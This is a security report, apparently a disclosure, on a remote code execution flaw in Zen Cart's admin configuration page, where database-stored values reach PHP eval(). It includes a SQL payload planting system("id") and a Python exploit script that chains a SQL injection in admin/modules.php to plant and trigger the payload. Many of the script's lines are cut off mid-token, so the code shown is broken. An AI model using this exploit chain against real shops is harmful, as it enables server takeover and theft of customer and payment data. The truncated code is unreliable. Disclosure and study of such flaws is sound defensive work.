Security Report: Remote Code Execution (RCE) via Unsafe eval() in admin/configuration.php

Summary

The Zen Cart admin panel is vulnerable to Remote Code Execution (RCE) because it retrieves configuration settings from the database and passes them directly to the PHP `eval()` function without sufficient sanitization or validation.

Details

In the administrative configuration management (`admin/configuration.php`), the system processes configuration entries. For certain configuration keys, the field `set_function` is retrieved from the `configuration` table in the database. This field is intended to contain a function call used to display an input field for the setting. However, the code uses `eval()` to execute the string stored in `set_function`. If an attacker can modify this database entry (e.g., via a separate SQL injection vulnerability), they can inject arbitrary PHP code that will be executed when an administrator views the configuration page.

Proof of Concept (PoC)

1. **Prerequisites:**
   - Administrative access to the Zen Cart backend.
   - Valid `zenAdminID` session cookie and `securityToken` .

2. **Step 1: Injecting the Payload via SQL Injection** The attacker uses a separate SQL injection (e.g., in `admin/modules.php`) to overwrite a configuration entry:

```sql
UPDATE configuration SET set_function = 'system("id");' WHERE configuration_k
```

3. **Step 2: Triggering the RCE** The attacker navigates to the configuration page: `admin/configuration.php?gID=1`.
4. The system retrieves the malicious `set_function` and executes it via `eval()`.
5. The output of the `id` command is rendered in the administrator's browser.

Exploitation Script (rce.py)

```python
import urllib.request, urllib.parse, http.cookiejar, re, base64, os

# --- Configuration ---
BASE_URL = "http://localhost:8000/stomP-LGR-Feast"
HOST_HDR = "localhost:8000"
USER, PASS = "admin", "Admin123@"
RCE_OUT = "/tmp/rce_poc_result.txt"

# --- Session Initialization ---
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

def req(url, data=None, headers=None):
    if data and isinstance(data, dict):
        data = urllib.parse.urlencode(data).encode()
    r = urllib.request.Request(url, data=data)
    r.add_header("Host", HOST_HDR)
    if headers:
        for k, v in headers.items():
            r.add_header(k, v)
    return opener.open(r).read().decode(errors='ignore')

try:
    if os.path.exists(RCE_OUT): os.remove(RCE_OUT)
```

```
    # 1. Login to obtain session
    print("[*] Logging in...")
    login_html = req(f"{BASE_URL}/index.php?cmd=login")
    token = re.search(r'securityToken" value="([^"]+)"', login_html).group(1)
    req(f"{BASE_URL}/index.php?cmd=login", {"admin_name": USER, "admin_pass": P

    # 2. Obtain token for the modules page
    print("[*] Obtaining security token for injection...")
    mod_html = req(f"{BASE_URL}/index.php?cmd=modules&set=payment&module=moneyo
    token2 = re.search(r'securityToken" value="([^"]+)"', mod_html).group(1)

    # 3. Perform SQL Injection (VE-0017) to plant RCE payload
    print("[*] Planting RCE payload via SQLi (VE-0017)...")
    sqli_key = "INVALID' UNION SELECT 'title','{\"error\":\"TEXT_EMAIL_ADDRESS_
    sql = f"UPDATE configuration SET set_function=CONCAT('system(',CHAR(39),'id
    shell_cmd = f"echo {base64.b64encode(sql.encode()).decode()} | base64 -d |

    payload = f"securityToken={token2}&action=saveall&configuration[{urllib.par
    req(f"{BASE_URL}/index.php?cmd=modules&set=payment&module=moneyorder&action

    # 4. Trigger RCE (VE-0219)
    print("[*] Accessing configuration page to trigger RCE (VE-0219)...")
    req(f"{BASE_URL}/index.php?cmd=configuration&gID=1")

    # 5. Verify the result
    if os.path.exists(RCE_OUT):
        print(f"[+] Exploitation successful! Output: {open(RCE_OUT).read().stri
    else:
        print("[-] Exploitation failed: No output file detected.")

finally:
    # Environment cleanup
    print("[*] Cleaning up database environment...")
    os.system("mysql -u zencart -pzencart -e \"USE zencart; UPDATE configuratio
```

Impact

Successful exploitation allows an attacker to execute arbitrary system commands with the privileges of the web server user. This can lead to:

- Full server compromise.
- Access to sensitive customer and payment data.
- Defacement or complete deletion of the store.

Weakness

- **CWE-94:** Improper Control of Generation of Code ('Code Injection')
- **CWE-95:** Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Previous page
SQL Injection in admin/modules.php

Next page
RCE via Unsafe Dynamic Function Call